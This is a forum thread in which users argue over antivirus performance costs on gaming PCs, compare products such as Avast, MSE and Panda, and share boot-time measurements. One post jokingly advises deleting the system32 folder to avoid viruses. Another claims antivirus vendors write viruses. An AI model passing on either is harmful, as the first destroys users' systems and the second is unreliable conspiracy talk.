> The AV's job is to intercept anything read and written from and to the drive. It can potentially block any program that's accessing something, only let it continue processing after taking a look at what was read or written. No idea how bad that performance impact is, but Brutuz tried to find something about this.
> 
> The article linked by SpacedInvader is pretty interesting. The guys talked about in that article argue that Windows and the browser by itself might be more secure than the same software on a system with an AV. That's because the AV is basically "infecting" everything running on the PC, so might be breaking the security features built into Windows and the browser. Viruses could get a chance to work around those by attacking the AV, which will then give access to the whole system, bypassing anything worked on by Microsoft and Google and Mozilla.
> 
> I do incremental backups after a day's worth of work and don't scan for those, but I usually do a complete scan before the complete backups which are something done after a week worth of work or so. Those complete scans might be sabotaged by a virus, right? No idea what to do about that.


Really good Viruses can disable/turn off your firewall/AV for sure, but those types are not common. The are usually specifically engineered and targeted.

Like we said AV is a layer of protection. It protects against most of the common threats. Of course a specialized virus can be written to take down a system with AV Protection. But that is no excuse to forgo AV altogether and let the common threats infect you and make you apart of their botnet.

You just add more layers, and hope you don't piss off a hacker.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *BeerPowered*
> 
> As for people saying they go 5 years without a virus:
> Of course you don't! You don't have an active scanner, so you don't know if you are infected or not. Most viruses/Malware wait until your system is idle before they do what they are programmed to do which is why you don't see any performance impact. I guarantee if any professional did an audit of your system they would find some nasty stuff hidden away that you had no clue about.


Malware doesn't usually check for an idle system. You would probably only see that level of sophistication in state-sponsored attacks. But you are definitely right about "good" malware (I suppose we're talking about sophisticated







) making it a point to not be obvious to the victim. You could say that you haven't had any obtrusive attacks that disable your task manager and that obvious stuff, but you can't really say, "I haven't had malware for 5 years" if you don't have anything to detect it.
Quote:


> Originally Posted by *BeerPowered*
> 
> Also you can get a Virus just from loading this website, Youtube, or any site that hosts ads. Its every site on the web you need to worry about, not just shady porn sites. They don't require your permission to install, you just have to load the infected ad/page.


Although it's rare, this is true. The best defense against these kinds of attacks is to keep your software up-to-date, since attackers are looking to exploit older versions of things like your browser or PDF reader.


----------



## Brutuz

Quote:


> Originally Posted by *BeerPowered*
> 
> The ONLY thing performance wise an AV affect is load times DURING an intensive full scan, AND ONLY when it is scanning the disk your game is installed on. So if you have a crappy HDD and run a game like DA2 or Skyrim which have lots of load screens, it will impact those load times. Other than that having an A/V installed doesn't affect performance period.
> 
> As for people saying they go 5 years without a virus:
> Of course you don't! You don't have an active scanner, so you don't know if you are infected or not. Most viruses/Malware wait until your system is idle before they do what they are programmed to do which is why you don't see any performance impact. I guarantee if any professional did an audit of your system they would find some nasty stuff hidden away that you had no clue about.
> 
> Any GOOD virus/malware can hide from AV Post scans, which is another reason you don't detect them.
> 
> Also you can get a Virus just from loading this website, Youtube, or any site that hosts ads. Its every site on the web you need to worry about, not just shady porn sites. They don't require your permission to install, you just have to load the infected ad/page.


...Lol. Skyrim loads and unloads textures *during* gameplay. Or do you think that the stock textures could fit in the 256MB vRAM of the PS3 without streaming from the disk? Same with The Sims 3...It doesn't just impact load times in games like that.

I've regularly installed an AV to test and ensure I don't have viruses for the exact reasoning you said, to ensure I don't have anything while not getting any performance loss for the best of both worlds. (As proven in benchmarks I posted above...10fps according to the synthetic PCMark and noticeable web page loading time increases for 2/3 of the tests)

Honestly, having updated software, the obvious extensions that help and knowledge of what types of sites not to go for (Especially for porn and piracy) is enough 95% of the time, AVs help for that last little bit although no system is entirely secure except one entirely removed from the internet.


----------



## The Hundred Gunner

For all of you "gamers" who are worried about 5FPS: why can't you just disable the AV when you're playing games?


----------



## KSIMP88

You can. Brutuz is pretending it affects gaming more than it does.
And brutuz, what about priority levels? Doesn't just work with CPUs. HDDs prioritize. And FOR THE FLIPPIN RECORD, the HDD rarely effects FPS. The FPS is likely only affected for a small amount of time when textures are loading, unless you are trying to scan with a high priority as you play. Besides, how exactly are you benchmarking?


----------



## Techie007

Quote:


> Originally Posted by *BeerPowered*
> 
> The ONLY thing performance wise an AV affect is load times DURING an intensive full scan, AND ONLY when it is scanning the disk your game is installed on. So if you have a crappy HDD and run a game like DA2 or Skyrim which have lots of load screens, it will impact those load times. Other than that having an A/V installed doesn't affect performance period.


 Please don't make it so painfully obvious that you don't know anything about realtime scanning and protection. On a machine I was recently working on that took a long time to boot, and then would sit frozen on the desktop for a minute after booting, I halved the boot time and removed the desktop delay by simply telling Avast to wait until the system was booted before enabling realtime file scanning.


----------



## KSIMP88

Quote:


> Originally Posted by *Techie007*
> 
> Please don't make it so painfully obvious that you don't know anything about realtime scanning and protection. On a machine I was recently working on that took a long time to boot, and then would sit frozen on the desktop for a minute after booting, I halved the boot time and removed the desktop delay by simply telling Avast to wait until the system was booted before enabling realtime file scanning.


What CPU/RAM/HDD/OS?


----------



## BeerPowered

Quote:


> Originally Posted by *KSIMP88*
> 
> What CPU/RAM/HDD/OS?


Exactly. My system boots up in the same amount of time regardless of AV or no AV. Sounds like poor performance do to lackluster hardware.


----------



## deepor

Quote:


> Originally Posted by *BeerPowered*
> 
> Exactly. My system boots up in the same amount of time regardless of AV or no AV. Sounds like poor performance do to lackluster hardware.


In any case, what you wrote was just plain wrong even if you can't feel it with a well programmed AV. It does intercept and stop everything for a tiny moment whenever there's a file accessed. This is separate from its full scan feature.

I personally only really noticed with Microsoft's AV I think. It sometimes caused a program installation to freeze for a super long time before continuing. I remember this always happened with Intel's INF chipset driver setup file for me. I had to wait something like half a minute before it starts after double-clicking on it. The other thing I've seen it do is cause choppyness when I open the folder where I download program setup files into. I never clean that folder up and it has over 229 .exe files in it (just checked). Other than sometimes choppyness, you can also see that the icons for the .exe files are loading one by one and very slowly. I guess there you can actually see with your eyes that the AV is blocking access to the .exe files for File Explorer (the icons are inside the .exe files so File Explorer has to read out of each one). All of this is a story from Windows 8 and 8.1, I don't remember 7 any more.

In comparison, Avast's AV has absolutely no problems for me and Avira also seemed alright, Norton the same, so this story from the last paragraph was really just about the MSE version built into 8.

Whenever I felt there's something going on in games, slight stutter etc., then started experimenting with stuff, I always eventually concluded that my suspicion that the AV is causing it was placebo. I could never really prove anything and it was probably just random issues caused by something else, for example the game's programming itself or the graphics driver etc.

... but you never know because things just make no sense sometimes because of bugs, and those PCMark numbers being lowered by AV are something objective that you can actually wonder about if it can be felt by a human in some situations.


----------



## 113802

I've been using Microsoft Security Essentials/WIndows Defender now for 5 years and before that I never used an Anti Virus. Most malware I see on computers are because clients don't read the ToS when installing a program and just click next. They also click fake articles/warnings. The virus I see often that people get from adult sites would be the fake FBI moneypak virus. Only virus I've seen hop around from computer to computer using removal storage is a root kit and they are a pain to get rid of and difficult to detect with just a standard anti virus.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *WannaBeOCer*
> 
> Most malware I see on computers are because clients don't read the ToS when installing a program and just click next.










what malware shows you a ToS before it installs itself?


----------



## tensionz

Quote:


> Originally Posted by *Mopar63*
> 
> I have been using nothing but Windows and MSE since MSE released and have NEVER gotten any malware on my system.


Same, I know MSE isn't great but having a brain to not get a virus in the first place is.


----------



## burticus

You couldn't pay me to use a McAfee retail product. I use Norton and NOD32 (half and half) and performance seems the same on both (why split? Because rebate deals and multiple computers). NOD is a lot easier to configure and doesn't harass me to run scans all the time. MSE / Defender is just barely above useless.


----------



## SpeedyVT

I'm actually quite partial to AVIRA. However my work doesn't recognize it so I can't use it on the VPN so I use AVG.


----------



## Brutuz

Quote:


> Originally Posted by *KSIMP88*
> 
> You can. Brutuz is pretending it affects gaming more than it does.
> And brutuz, what about priority levels? Doesn't just work with CPUs. HDDs prioritize. And FOR THE FLIPPIN RECORD, the HDD rarely effects FPS. The FPS is likely only affected for a small amount of time when textures are loading, unless you are trying to scan with a high priority as you play. Besides, how exactly are you benchmarking?


You even admit it effects FPS...I've played with priority levels and it doesn't really reduce the additional stutter much if at all. Games like TS3, Skyrim and Fallout 3/NV are nearly *always* loading textures in. How many times do I have to repeat that before you people actually realize it? It's only a handful of games but as I've stated, but with the level of protection I do have (ie. NoScript, AdBlock, common sense, etc along with AV installs and scans twice a year) I'm yet to get a virus and when I do have an AV running, especially scanning or even just in real time mode it does add noticeable stutter to those games. Going without an AV at all is stupid, but I'd actually argue my method could be more secure than just having the one AV installed...It'd be easy to do a biyearly (Or more frequently) scan with more than one AV if you're uninstalling it afterwards like I am anyway, meaning that if the one you typically use misses something, the next might catch it. Typically I scan with Avira and sometimes Avast.
Quote:


> Originally Posted by *The Hundred Gunner*
> 
> 
> 
> 
> 
> 
> 
> 
> what malware shows you a ToS before it installs itself?


He means programs like uTorrent installing crap alongside the program you actually wanted.


----------



## maarten12100

Windows defender + malware bytes did good for me.
But what is this Panda antivirus is it free?


----------



## maarten12100

Quote:


> Originally Posted by *Brutuz*
> 
> He means programs like uTorrent installing crap alongside the program you actually wanted.


Well while annoying it actually shows that it will be installing those unless you uncheck the boxes. Even Itunes does this and while it is flipping annoying they can do it. However it would be far better if they unchecked those boxes standard since almost all users actually come for the program in question.

There are exceptions to the rule though afterburner for example is far more usefull with rivatuner display service than without it


----------



## Kimir

The Panda one tested it the free version indeed. I'm using it and bitdefender in two of my rig now and panda is way lighter in memory usage.


----------



## Strat79

I am with Brutuz when it comes to noticing the impact of A/V on my system, even with an SSD. I can most certainly tell when it is scanning the SSD and to a lesser degree, but still quite noticeable, when I have the active protection on. It may not be a huge impact but it is enough that I won't use active anymore. These things are a fact and can't really be debated although the severity and how much you notice it can be subjective I suppose. I, along with some others on here, apparently notice more than the majority. No reason to fight about it, it is what it is. We can notice A/V's impact and other don't.


----------



## Capt

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> For all of you "gamers" who are worried about 5FPS: why can't you just disable the AV when you're playing games?


That just takes too much time and becomes a hassle after a while.


----------



## sherlock

Quote:


> Originally Posted by *Capt*
> 
> That just takes too much time and becomes a hassle after a while.


Then get an AV with a Silent/Gaming mode that auto triggers when you launch a full screen app(Avast does this).


----------



## Ultisym

I understand both sides of this argument actually and both have merit. But It typically takes two clicks to disable an AV. Thats a hassle?


----------



## Capt

Quote:


> Originally Posted by *sherlock*
> 
> Then get an AV with a Silent/Gaming mode that auto triggers when you launch a full screen app(Avast does this).


The UI on Avast looks so bloated to me, I can't stand it.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *Capt*
> 
> That just takes too much time and becomes a hassle after a while.


Right-click and hitting "disable" takes too much time? Good God, game boys are lazier than I thought... lol...


----------



## Banedox

It is really bugging me that *ZoneAlarm* was not tested in this study...

Only Firewall/Antivirus I have been using for 10years+....


----------



## Capt

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> Right-click and hitting "disable" takes too much time? Good God, game boys are lazier than I thought... lol...


That's too many clicks for me.


----------



## Techie007

Quote:


> Originally Posted by *KSIMP88*
> 
> What CPU/RAM/HDD/OS?


 I don't have the computer anymore, but as best as I can remember: AMD FX???? quad core @ 2.? GHz CPU, 8 GB DDR2 RAM, 1 TB (don't know model) HDD, Windows 7 x64 SP1 Home Premium OS. I completely cleaned out, updated and defragmented the machine, and it is still a lot slower than it should be for what the hardware is. I'm absolutely positive that if it totally remove Avast, its performance and boot speed would increase noticeably still.

I've got an extremely slow laptop I'm working on right now that also has Avast. Maybe I'll actually time it and post the results.


----------



## Brutuz

Quote:


> Originally Posted by *sherlock*
> 
> Then get an AV with a Silent/Gaming mode that auto triggers when you launch a full screen app(Avast does this).


Avast is the specific AV I tend to use and have noticed performance drops from...Maybe it was gltiching out on my system but it's still just as easy to install and uninstall one every so often for me anyway.
Quote:


> Originally Posted by *Ultisym*
> 
> I understand both sides of this argument actually and both have merit. But It typically takes two clicks to disable an AV. Thats a hassle?


Quote:


> Originally Posted by *The Hundred Gunner*
> 
> Right-click and hitting "disable" takes too much time? Good God, game boys are lazier than I thought... lol...


For what benefit versus my method of installing and scanning every so often? And depending on how often you game, 2 clicks can end up being a lot more than 2 clicks. (Especially if you plan to reenable the AV when you're finished gaming.)


----------



## The Hundred Gunner

Quote:


> Originally Posted by *Brutuz*
> 
> For what benefit versus my method of installing and scanning every so often? And depending on how often you game, 2 clicks can end up being a lot more than 2 clicks. (Especially if you plan to reenable the AV when you're finished gaming.)


4 clicks? 10 clicks? I'm getting the feeling that you're pulling my leg, here...


----------



## Ultisym

Quote:


> Originally Posted by *Brutuz*
> 
> Avast is the specific AV I tend to use and have noticed performance drops from...Maybe it was gltiching out on my system but it's still just as easy to install and uninstall one every so often for me anyway.
> 
> For what benefit versus my method of installing and scanning every so often? And depending on how often you game, 2 clicks can end up being a lot more than 2 clicks. (Especially if you plan to reenable the AV when you're finished gaming.)


First of all, I see absolutely no perceivable performance hit leaving Panda Cloud running. I never have to touch it other than to close the itty bitty nag screen that pops up two, maybe three days a week in the bottom right of the screen. It has never caused any problem, never asks for any update and does not require me to shut it down before I do anything. Even if I did, its ridiculous to gripe about two extra clicks in the scheme of ALL the clicks we all do on a daily basis. How many clicks do you execute just at this site on a daily basis? Of all the arguments, this one is silly.

Second, on your other point, I can see people with enough knowledge being able to pull this off. I have never been infected with a virus that I didnt execute on purpose in the course of my investigating what it does in a VM. I can see some validity to the .....i dont need no stinking AV........argument. Still, AVs are free and easy to disable when not needed. I also have to recommend an AV to people I have built machines for and I try to always have a good free solution for them to try. Therefore I run and try to be familiar with the best thats out there. Now i do not do full disc scans that are not manually executed. If the AV is put on a clean installation, then an occasional scan by a different program would be diligent as whatever might be on the machine made it through the active AV.


----------



## 113802

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> 
> 
> 
> 
> 
> 
> 
> what malware shows you a ToS before it installs itself?


For example go download micro torrent. There is adware that you can uncheck before installing.


----------



## evoll88

I have been using ME for a while but decided to get rid of it and try avast since some here have said how good it is,so far I like it and doesn't slow my pc down at all (I have it in silent mode). I also have malewarebytes so I hope these 2 will keep my pc clean.


----------



## Techie007

So I went ahead and actually timed the system speeds on a laptop that I am working on here-just for you guys. I always disable antivirus software when I'm working on computers because it is a waste of time for me to be waiting and waiting on a PC when it could be done already, so antivirus lag is something that I'm already quite familiar with.

This machine's specs are as follows:


*CPU*: Pentium Dual-Core T4500 (2.30 GHz).
*RAM*: 1 + 2 GB PC2-6400 (400 MHz).
*HDD*: WD3200BEVT (320 GB / 5400 RPM / SATA I) connected to a SATAII port.
*OS*: Windows 7 Home Premium (x64 / SP1).
*AV*: Avast (paid).

The times below are from BIOS logo (after rebooting) to Chrome loading a web page:


*2:35* - The machine's baseline performance (I'm used to 15-30 seconds).
*1:57* - Told Avast not to load until startup is complete.
*1:23* - Disabled Avast. Still, it started 7 drivers and 4 processes anyway.
*1:07* - Cleaned temp, restore, update, and startup entries.
*1:01* - Removed startup traces and drivers for non-present devices.
*0:30* - Defragmented computer with my own experimental defragmenter. At logon screen in 14 seconds. Welcome screen fades to fully loaded desktop 3 seconds after logging in. Chrome takes several seconds to appear, hangs for several seconds, and then displays the webpage.
*1:50* - Enabled Avast. Measured three times. Logon screen is sluggish, and then hangs on black screen for 25 seconds after logging in. Then the wallpaper appears, followed by the taskbar, and finally the desktop icons. Chrome takes 30 seconds to even appear after being launched, and then hangs for 15 seconds before displaying webpage. During this time, the mouse is the only thing that works. This is unacceptable.
*0:43* - Told Avast not to load until startup is complete. This is how the machine is going back to the customer.

This response is typical of the machines that I have worked on. I bet that the computer could do ~20 seconds if I completely uninstalled Avast instead of just disabling it. Obviously, this laptop desperately needs a SSD. But I'm not sure that the customer will be interested in the $100 upgrade, because the laptop is already having reliability issues with the screen (hopefully fixed now), and they have discovered the iPad, which can load the Internet in seconds-pretty much all they used the laptop for.
OEM PC makers are shooting themselves in the foot to even consider shipping out machines without a SSD in 2014. Digital storage media is the mainstay of tablets nowadays, and people are willing to spend extra on a grossly overpriced product (the iPad) that actually works fast, but has a small amount of storage compared to a laptop. Just look at reviews of PCs on Amazon or Microcenter and see how often speed is mentioned.

*tl;dr*: To boot and display a webpage, machine took 2:35 with AV, and 1:23 without (1.8x faster). After cleaning up and defragmenting the system, it took 1:50 with AV, and 0:30 without (3.7x faster). Conclusion? AV does measurably and demonstrably slow down PCs. The amount just depends on your AV solution and system configuration.


----------



## azanimefan

Quote:


> Originally Posted by *Techie007*
> 
> OEM PC makers are shooting themselves in the foot to even consider shipping out machines without a SSD in 2014. Digital storage media is the mainstay of tablets nowadays, and people are willing to spend extra on a grossly overpriced product (the iPad) that actually works fast, but has a small amount of storage compared to a laptop. Just look at reviews of PCs on Amazon or Microcenter and see how often speed is mentioned.


the rest of your post was interesting... but this part i wanted to pull out for a reason.

~I set up pcs almost on a daily basis, install them for clients as well. I can't tell you how many times I want to send a firm letter to DELL explaining this fact to them. Its almost like Dell doesn't WANT to sell pcs. So they sabotage themselves by shoving craptacular 5400 rpm hard drives into a haswell i7 machine. It fries my mind. What's worse is seeing the client's face when they replace their 8 year old core2duo dell with a brand new i7, and you can't tell the difference in any substantive way because the hard drive is so painfully slow... you can almost see the thought going through their minds... "why am i replacing my computer again?"

me and my fellow employees have this conversation a lot. And i'll tell you it's embarrassing that the industry does this to itself. I remember when a buddy of mine bought a a10-4600m laptop... got it for a good deal at $450, at my urging he got an SSD, and we mirrored his OS install onto it, wiped the hard drive that came with it, and used it as a data storage drive. That little a10 with it's crappy 1366x768 monitor would play skyrim 10 hours without a charge (he did get the bigger battery), and if you set it next to a 1,000 gaming laptop you'd walk away convinced it was the better system... jsut because the high end i7 was so fatally crippled by it's terrible laptop hard drive, and a 1080p monitor, which it's gpu couldn't actually play games on... AND the 4 hours of battery life.

explain how that happens?

How can a OEMs be excused for putting out such horrible unbalanced hardware... systems without SSDs... (which should be standard IMHO) systems with under-powered gpus or monitors well beyond their ability to comfortably render in... battery life less then 5 hours... (the big monitors and gpus have a huge part in this one)... it's just a trend of terrible hardware coming out of the industry that makes me wonder if they quite get the fact that in 3 years no one will NEED a pc if they keep turning out crap products like this. The market will just keep giving more and more functionality to tablets and phones and the pc will go away. It will happen the longer they leave the door open.

Right now people think their phone is a better computer then their computer... because their computer has a terrible hard drive which makes all that processing power invisible to 95% of end users. That's a huge market... that's going to decide "i don't need a pc" one day if OEMs don't get their act together and recognize THEY ARE RESPONSIBLE for the terrible PC sales figures. Its easy to blame windows8... and believe me when i say this... windows8 is a HUGE hurt on the industry... but setting aside windows8 sorrows, the industry isn't giving consumers a reason to upgrade, because they're masking nearly a decade worth of hardware progress behind terrible and cheap hard drives and any number of other cost cutting measures they employ.


----------



## Chrono Detector

You think Microsoft is a giant software company and yet they are incompetent at developing a security program for their own OS which is a joke.

My computer recently got infected by a trojan and yet Microsoft Security Essentials failed to detect it let alone picked it up during scan which is laughable.


----------



## tompsonn

Quote:


> Originally Posted by *Chrono Detector*
> 
> You think Microsoft is a giant software company and yet they are incompetent at developing a security program for their own OS which is a joke.
> 
> My computer recently got infected by a trojan and yet Microsoft Security Essentials failed to detect it let alone picked it up during scan which is laughable.


I fail to see how developing an OS and other software ("giant software company") automatically means you know everything about anti-virus software, or that theirs should be the best on the market.

Just because its their own OS means nothing - its trivial to know where to place hooks (file system filters, etc) to fetch data, its another thing to actually develop anything that can detect and remove malicious software from processing of those hooks.


----------



## Derp

One upon a time MSE was an excellent AV. It scored in the top three of all of these tests and then fell off the face of the earth one year. If I had to guess, the reason for the drop in protection was probably from a big wig at Microsoft deciding that resources were being wasted keeping MSE as good as it was since it was free.


----------



## KSIMP88

Quote:


> Originally Posted by *Derp*
> 
> One upon a time MSE was an excellent AV. It scored in the top three of all of these tests and then fell off the face of the earth one year. If I had to guess, the reason for the drop in protection was probably from a big wig at Microsoft deciding that resources were being wasted keeping MSE as good as it was since it was free.


MSE was never good...


----------



## Derp

Quote:


> Originally Posted by *KSIMP88*
> 
> MSE was never good...


Yes it was.

Edit; eh, after looking through AV-test's old results, MSE always scored poorly. I wonder which test I read here years back where MSE kept up with AVG/Avast/Avira.


----------



## RushFudge

Quote:


> Originally Posted by *Chrono Detector*
> 
> You think Microsoft is a giant software company and yet they are incompetent at developing a security program for their own OS which is a joke.
> 
> My computer recently got infected by a trojan and yet Microsoft Security Essentials failed to detect it let alone picked it up during scan which is laughable.


Developing an os and securing it against people more than the people that made the os is different from each other. they just specialize in the first one and just provide a "good-enough-for-offline-uses AV".


----------



## KSIMP88

Quote:


> Originally Posted by *Derp*
> 
> Yes it was.
> 
> Edit; eh, after looking through AV-test's old results, MSE always scored poorly. I wonder which test I read here years back where MSE kept up with AVG/Avast/Avira.


forum member's posts.


----------



## Meatdohx

I only have one thing to say.

The people that are doing anti-virus software are the same people that write virus so they can sell their anti-virus.

I'm not installing ANY of that crap on my PC. I prefer reinstalling my OS every month and monitoring what is going in the background.


----------



## Capt

I never really understood the deal with MSE. It's a below average anti-virus software and just plain sucks and I hate it even more because it's from Microsoft.


----------



## KSIMP88

Quote:


> Originally Posted by *Meatdohx*
> 
> I only have one thing to say.
> 
> The people that are doing anti-virus software are the same people that write virus so they can sell their anti-virus.
> 
> I'm not installing ANY of that crap on my PC. I prefer reinstalling my OS every month and monitoring what is going in the background.


lol k bro. Keep at it lol


----------



## levontraut

Quote:


> Originally Posted by *Meatdohx*
> 
> I only have one thing to say.
> 
> The people that are doing anti-virus software are the same people that write virus so they can sell their anti-virus.
> 
> I'm not installing ANY of that crap on my PC. I prefer reinstalling my OS every month and monitoring what is going in the background.


If this is the generation of today we are so screwed

Quote:


> Originally Posted by *KSIMP88*
> 
> lol k bro. Keep at it lol


I know hey.

LOL


----------



## gbsn

Quote:


> Originally Posted by *Meatdohx*
> 
> I prefer reinstalling my OS every month and monitoring what is going in the background.


Well, aren't you the most counterproductive human being in Canada.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *Meatdohx*
> 
> I only have one thing to say.
> 
> The people that are doing anti-virus software are the same people that write virus so they can sell their anti-virus.
> 
> I'm not installing ANY of that crap on my PC. I prefer reinstalling my OS every month and monitoring what is going in the background.


Even if that were true once upon a time, there's no reason for AV companies to do that today. There are so many people and criminal organizations out there writing malware that AVs have no reason to do it.

No organization could put out the tens or hundreds of thousands of malware that hits the internet every day, so this conjecture simply doesn't make sense.


----------



## Meatdohx

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> Even if that were true once upon a time, there's no reason for AV companies to do that today. There are so many people and criminal organizations out there writing malware that AVs have no reason to do it.
> 
> No organization could put out the tens or hundreds of thousands of malware that hits the internet every day, so this conjecture simply doesn't make sense.


Just for the sake of arguing. How do you think someone learn how to detect and eliminate computer virus and/or malware?


----------



## Meatdohx

Quote:


> Originally Posted by *levontraut*
> 
> If this is the generation of today we are so screwed
> I know hey.
> 
> LOL


I have been building and troubleshooting computers for a couple of years now...









The problem is the user, not the AV.


----------



## The Hundred Gunner

Quote:


> Originally Posted by *Meatdohx*
> 
> Just for the sake of arguing. How do you think someone learn how to detect and eliminate computer virus and/or malware?


By reverse engineering it and finding out how attacks are being carried out. How do I know this? Because I do it.

Of course it helps your understanding if you have experience writing the stuff yourself. But that doesn't necessarily mean that you go out and disseminate it. Plenty of people do research for things such as polymorphic viruses and worms, but they don't go out and release it and then write signatures for it for work as you are implying. I'm sure it has happened before some of the time, but it's not like they have people at Symantec and McAfee writing malware for 8 hours and then emailing it to people at the end of the day.


----------



## Rndomuser

Quote:


> Originally Posted by *Chrono Detector*
> 
> You think Microsoft is a giant software company and yet they are incompetent at developing a security program for their own OS which is a joke.


Not "incompetent". They just don't want another "anti-competitive" lawsuit targeting them, especially since their antimalware product is now tightly integrated with Windows 8 (as "Windows Defender", which is basically same thing as old MSE)


----------



## Brutuz

Quote:


> Originally Posted by *levontraut*
> 
> that is illegal and against the law in ALL country's


...And that would stop them, why? Don't get me wrong, I think he's (mostly) full of crap but if you think companies wouldn't pull a scam like that..lol, I have news for you.
Quote:


> Originally Posted by *gbsn*
> 
> Well, aren't you the most counterproductive human being in Canada.


It takes all of 5 minutes to completely wipe and reinstall an OS/programs/etc if you've got it set up right.


----------



## Strat79

Quote:


> Originally Posted by *Meatdohx*
> 
> Quote:
> 
> 
> 
> Originally Posted by *levontraut*
> 
> If this is the generation of today we are so screwed
> I know hey.
> 
> LOL
> 
> 
> 
> I have been building and troubleshooting computers for a couple of years now...
> 
> 
> 
> 
> 
> 
> 
> 
> 
> The problem is the user, not the AV.
Click to expand...

Stand back guys. He's been building computers for 2 years. He knows his stuff!


----------



## Klocek001

Quote:


> Originally Posted by *Strat79*
> 
> Stand back guys. He's been building computers for 2 years. He knows his stuff!


mine your own business, maaan


----------



## pokerapar88

Quote:


> Originally Posted by *Klocek001*
> 
> mine your own business, maaan


"Mine" ? like bitcoin mining?


----------



## pokerapar88

Quote:


> Originally Posted by *Strat79*
> 
> Stand back guys. He's been building computers for 2 years. He knows his stuff!


When I was a kid I used to brag that way. I was such a dork. And it is true that when you think that you already know it all, something new surprises you.. and that's every day. Socrates was right.


----------



## levontraut

Quote:


> Originally Posted by *Strat79*
> 
> Stand back guys. He's been building computers for 2 years. He knows his stuff!


My 5 year old has built her own computer.

this is one of those moments of..

while you know everything move out the house and get a job.

LOL

Quote:


> Originally Posted by *Klocek001*
> 
> mine your own business, maaan


Mine my own business!! naa dude, I don't feel like mining for gold or diamonds thanx, How ever I have been in the IT field for some time and you always learn stuff.


----------



## Klocek001

Quote:


> Originally Posted by *pokerapar88*
> 
> "Mine" ? like bitcoin mining?


like he's a professional miner.


----------



## theseekeroffun

Quote:


> Originally Posted by *Kimir*
> 
> Yep, I know some guys like that.


That was a good one.............


----------



## DMills

hey, the best way to avoid viruses is to prevent them from happening, just delete your system32 folder and you'll be set! and it'll make your pc faster too!


----------



## pokerapar88

Quote:


> Originally Posted by *DMills*
> 
> hey, the best way to avoid viruses is to prevent them from happening, just delete your system32 folder and you'll be set! and it'll make your pc faster too!


You know that's not easy to do by a "newbie" on w7 and onwards, right? UAC just won't let you.


----------



## HitMe

this is a big lie panda is the worst anti virus a simple confused exe will not be detected


----------



## pokerapar88

Quote:


> Originally Posted by *HitMe*
> 
> this is a big lie panda is the worst anti virus a simple confused exe will not be detected


I hate panda. I like how the cloud is implemented in current antivirus, though, as it releases resources from the PC.


----------



## Catscratch

Quote:


> Originally Posted by *HitMe*
> 
> this is a big lie panda is the worst anti virus a simple confused exe will not be detected


What da what ?


----------



## Paladin Goo

Quote:


> Originally Posted by *Strat79*
> 
> Stand back guys. He's been building computers for 2 years. He knows his stuff!


He's right. The common sense within a user is far more important and effective than any antivirus. No antivirus will protect against idiots - and that's coming from 16.5 years of experience.


----------



## Meatdohx

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> By reverse engineering it and finding out how attacks are being carried out. How do I know this? Because I do it.
> 
> Of course it helps your understanding if you have experience writing the stuff yourself. But that doesn't necessarily mean that you go out and disseminate it. Plenty of people do research for things such as polymorphic viruses and worms, but they don't go out and release it and then write signatures for it for work as you are implying. I'm sure it has happened before some of the time, but it's not like they have people at Symantec and McAfee writing malware for 8 hours and then emailing it to people at the end of the day.


You have a good point and i do agree with you on this. My experience with virus/worms/trojans soo far is that the really nasty stuff (like program in the background that turn your pc in zombie mode when you are not looking) is hardly detectable at all as people who do that kind of stuff make it so it don't affect the performance of your PC.

And also i have found out that common AV were of no use against theses things and i don't trust the people making them at all I don't trust any software made by people that can code nasty things in the background even tho it is less than likely that there is anything that will harm my PC.

But that is my personal opinion and i do understand that you have a professional background and you understand way more than me on these forms of malware and i don't. I prefer not taking any chances and reinstall my stuff as it take only 5 minute.


----------



## The Hundred Gunner

What if we use an analogy to biological viruses? Do you need to know how to weaponize them to create vaccines for them? And if somebody who creates vaccines had the knowledge to weaponize viruses, would you avoid a vaccine developed by them?


----------



## pokerapar88

Quote:


> Originally Posted by *Meatdohx*
> 
> You have a good point and i do agree with you on this. My experience with virus/worms/trojans soo far is that the really nasty stuff (like program in the background that turn your pc in zombie mode when you are not looking) is hardly detectable at all as people who do that kind of stuff make it so it don't affect the performance of your PC.
> 
> And also i have found out that common AV were of no use against theses things and i don't trust the people making them at all I don't trust any software made by people that can code nasty things in the background even tho it is less than likely that there is anything that will harm my PC.
> 
> But that is my personal opinion and i do understand that you have a professional background and you understand way more than me on these forms of malware and i don't. I prefer not taking any chances and reinstall my stuff as it take only 5 minute.


I can't see how you can reinstall everything in 5 minutes, unless you have a ghost image backup of your disk and you copy it from an SSD to another SSD. Otherwise it is just imposible.


----------



## Meatdohx

Quote:


> Originally Posted by *pokerapar88*
> 
> I can't see how you can reinstall everything in 5 minutes, unless you have a ghost image backup of your disk and you copy it from an SSD to another SSD. Otherwise it is just imposible.


Ok more like 15 mins Or maybe more...


----------



## Meatdohx

Quote:


> Originally Posted by *The Hundred Gunner*
> 
> What if we use an analogy to biological viruses? Do you need to know how to weaponize them to create vaccines for them? And if somebody who creates vaccines had the knowledge to weaponize viruses, would you avoid a vaccine developed by them?


I don't see a benefit in messing with current vaccine unless you want to sell some pills for a disease that you would cause. That would be insanely disgusting tho.

I see your point. But i still won't install an AV I do it for some people but i feel it give them a false sense of safety







haha


----------



## levontraut

I must be honest here,.

when ever I read some of these posts I grab the popcorn, stand back and watch.

the best I have managed to get a full install is 15 min and my biggest bottleneck in my gigabyte connection on my pix server.

If I do it by disk that is also about 15 min but it has no drivers, applications 5 min is impossible for a full install.( home users)

I still don't run any AV on my machine after reading most of the posts in this thread. with some of the updates in this thread, I also hope some of these people don't breed.


----------



## Thorhian

You know, its good people around here know that Common Sense/Good Computer Practices can help A LOT in protecting yourself from viruses, but if you have the power to spare (which probably almost all the people here on this forum do) you should really run an antivirus. Sure, you can't get protection from absolute zero-day exploits and the malware that use them, but human in their lifetimes will always make a mistake. Plus, ads can be used to transmit malicious software to people on legit sites (so use adblocker I guess most of the time also, and ghostery). Having an AV will make it easier to catch viruses if they somehow find a way to get onto your machine. The only time you really don't have to worry about viruses for the most part is if you use Linux or BSD. I don't get why people so against antivirus software when it can safe your butt when you don't even know it.


----------



## hellojustinr

